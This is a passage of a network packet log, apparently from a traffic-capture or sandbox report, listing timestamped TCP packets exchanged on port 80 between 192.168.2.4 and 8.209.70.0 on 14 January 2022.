Jan 14, 2022 20:30:18.554914951 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.554919004 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.554956913 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.572125912 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594055891 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594115973 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594156027 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594188929 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.594194889 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594235897 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594238997 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.594290972 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594331026 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594343901 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.594372988 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594381094 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.594443083 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594482899 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594496012 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.594523907 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594562054 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594598055 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.594602108 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594640970 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594676971 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594688892 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.594712019 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.594717979 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594758987 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594798088 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.594798088 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594839096 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.594881058 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.612219095 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.612281084 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.612315893 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.612339020 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.633265018 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633323908 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633354902 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.633364916 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633407116 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633409023 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.633444071 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633482933 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633522034 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633526087 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.633562088 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633562088 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.633604050 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633641005 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633651018 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.633680105 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633719921 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633722067 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.633758068 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633796930 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633831978 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633843899 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.633878946 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.633910894 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633951902 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.633990049 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634000063 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.634026051 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634063959 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634100914 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634110928 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.634138107 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634144068 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.634177923 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634212017 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.634215117 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634254932 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634293079 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634329081 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634339094 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.634365082 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.634368896 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634407997 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634443998 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634453058 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.634483099 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634521961 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634522915 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.634562969 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634603977 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634639978 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634645939 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.634679079 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634681940 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.634717941 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634754896 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.634795904 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.652076960 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.652134895 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.652148008 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.652175903 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.652213097 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.652215958 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.652252913 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.652283907 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.652293921 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.672589064 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.672651052 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.672693014 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.672708988 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.672734976 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.672734976 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.672776937 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.672817945 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.672859907 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.672863007 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.672902107 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.672941923 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.672945023 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.672981024 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.672983885 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673026085 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673064947 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673067093 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.673101902 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673142910 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.673142910 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673182011 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673223019 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673261881 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673261881 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.673300028 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673338890 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673341990 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.673377991 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.673378944 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673415899 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673455000 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673455954 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.673494101 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673531055 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673533916 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.673569918 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673607111 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673613071 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.673645020 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673683882 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673721075 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673724890 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.673759937 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673796892 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673800945 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.673832893 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673835993 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.673911095 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673952103 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.673954010 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.673988104 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674026012 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674030066 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.674065113 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674102068 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674139977 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674141884 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.674180031 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674216986 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674221039 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.674256086 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674292088 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674297094 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.674329996 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674370050 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674371004 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.674407005 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674406052 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.674448013 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674485922 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674489975 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.674520016 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.674561977 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.691951036 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692013979 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692048073 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692090034 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692131996 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692135096 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.692181110 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692183018 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.692224979 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692235947 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.692265987 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692302942 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692343950 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692347050 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.692383051 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692420959 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692425013 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.692460060 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692493916 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.692497015 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692537069 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692539930 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.692575932 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692615032 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692652941 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692656040 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.692692041 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692692995 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.692732096 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692773104 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692795038 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.692810059 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692851067 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692853928 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.692890882 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692929983 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.692971945 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.692971945 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693011045 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693022013 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.693049908 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693089962 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.693090916 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693129063 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693166971 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693185091 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.693205118 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693242073 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693252087 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.693279982 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693335056 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693365097 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.693367004 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693408012 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693444967 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693455935 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.693474054 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.693485022 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.711787939 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.711858034 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.711904049 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.711941004 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.711941004 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.711978912 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.711983919 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712024927 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712060928 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712070942 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.712111950 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712150097 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712166071 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.712189913 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712199926 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.712229967 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712268114 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712277889 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.712308884 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712349892 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712361097 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.712388992 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712428093 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712466955 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712476969 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.712505102 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712546110 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712555885 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.712588072 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712588072 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.712630033 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712677956 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712687016 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.712707996 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712738991 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712748051 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.712769032 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712798119 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712806940 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.712829113 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712860107 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712891102 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712902069 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.712922096 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712927103 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.712950945 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712980986 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.712989092 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.713011980 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.713040113 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.713071108 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.713078976 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.713100910 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.713109970 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.713133097 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.713162899 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.713191032 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.713205099 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.713222980 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.713232994 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.713253975 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.713282108 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.713291883 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.713311911 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.713341951 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.713350058 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.713371992 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.713409901 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.730753899 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.730786085 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.730803013 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.730818987 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.730843067 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.730850935 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.730860949 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.730864048 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.730879068 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.730895042 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.730896950 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.730914116 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.730922937 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.730931997 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.730948925 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.730964899 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.730967999 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.730984926 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.730998993 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731000900 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731019020 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731034994 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731048107 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731050014 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731067896 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731075048 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731085062 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731093884 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731102943 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731120110 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731133938 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731134892 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731152058 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731162071 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731168985 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731185913 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731193066 CET	49924	80	192.168.2.4	8.209.70.0
